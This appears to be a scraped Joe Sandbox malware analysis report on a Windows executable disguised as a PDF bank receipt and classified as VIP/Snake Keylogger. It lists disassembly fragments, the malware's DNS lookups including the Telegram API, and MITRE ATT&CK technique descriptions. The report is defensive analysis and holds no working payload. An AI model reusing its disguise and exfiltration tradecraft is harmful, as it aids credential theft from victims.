Source: rDEKONT-1_15_2025__75kb__pdf.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 0147F8E9h	3_2_0147F630
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 0147FD41h	3_2_0147FA8B
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1B3C8h	3_2_06D1AFB0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1AE01h	3_2_06D1AB50
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D10D0Dh	3_2_06D10B30
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D11697h	3_2_06D10B30
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1FBA5h	3_2_06D1F868
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_06D10673
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1E9B1h	3_2_06D1E708
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_06D10040
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1E423h	3_2_06D1E178
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1F261h	3_2_06D1EFB8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1EE09h	3_2_06D1EB60
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_06D10853
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1D719h	3_2_06D1D470
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1F6B9h	3_2_06D1F410
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1B3C8h	3_2_06D1B2F6
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1DFC9h	3_2_06D1DD20
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06D1DB71h	3_2_06D1D8C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBD98Fh	3_2_06DBD620
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBDFB8h	3_2_06DBDCC0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB5966h	3_2_06DB5698
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB7956h	3_2_06DB7688
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB3976h	3_2_06DB36A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBE948h	3_2_06DBE650
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB990Eh	3_2_06DB9640
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBB8FEh	3_2_06DBB630
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB10F0h	3_2_06DB0E20
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB4296h	3_2_06DB3FC8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBF2D8h	3_2_06DBEFE0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB6286h	3_2_06DB5FB8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB8276h	3_2_06DB7FA8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBC21Fh	3_2_06DBBF50
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBA22Eh	3_2_06DB9F60
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBF7A0h	3_2_06DBF4A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB4726h	3_2_06DB4458
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB6716h	3_2_06DB6448
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB8706h	3_2_06DB8438
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB3056h	3_2_06DB2D88
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB9026h	3_2_06DB8D58
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB5046h	3_2_06DB4D78
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB7036h	3_2_06DB6D68
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBAFDEh	3_2_06DBAD10
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBCFCEh	3_2_06DBCD00
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB9D9Eh	3_2_06DB9AD0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBBD8Eh	3_2_06DBBAC0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then mov esp, ebp	3_2_06DB2AF0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB34E6h	3_2_06DB3218
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB54D6h	3_2_06DB5208
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBA6BEh	3_2_06DBA3F0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBC6AEh	3_2_06DBC3E0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB7DE6h	3_2_06DB7B18
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBEE10h	3_2_06DBEB18
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB3E06h	3_2_06DB3B38
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB5DF6h	3_2_06DB5B28
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB6BA6h	3_2_06DB68D8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB8B96h	3_2_06DB88C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB4BB6h	3_2_06DB48E8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBAB4Eh	3_2_06DBA880
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBCB3Eh	3_2_06DBC870
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB74C6h	3_2_06DB71F8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DB948Fh	3_2_06DB91E8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBD45Eh	3_2_06DBD190
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBE480h	3_2_06DBE188
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBB46Eh	3_2_06DBB1A0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 4x nop then jmp 06DBFC68h	3_2_06DBF970

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rDEKONT-1_15_2025__75kb__pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rDEKONT-1_15_2025__75kb__pdf.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
rDEKONT-1_15_202575kbpdf.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rDEKONT-1_15_202575kbpdf.exe.log

Analysis Process: rDEKONT-1_15_202575kbpdf.exePID: 384, Parent PID: 1028

Analysis Process: rDEKONT-1_15_202575kbpdf.exePID: 320, Parent PID: 384

Analysis Process: rDEKONT-1_15_202575kbpdf.exePID: 384, Parent PID: 1028COMMON

Function 060C80B8 Relevance: 6.9, Strings: 5, Instructions: 651
COMMON

Function 02CC7D98 Relevance: 3.1, Strings: 2, Instructions: 581
COMMON

Function 02CC4224 Relevance: 3.1, Strings: 2, Instructions: 579
COMMON

Function 060CF3AA Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Function 060CF3CF Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Function 060CF3E6 Relevance: 2.7, Strings: 2, Instructions: 196
COMMON

Function 060CF400 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Function 0827E968 Relevance: 1.6, Strings: 1, Instructions: 366
COMMON

Function 02CC5D77 Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Function 02CC4524 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 060C8F88 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Function 02CCE5D8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre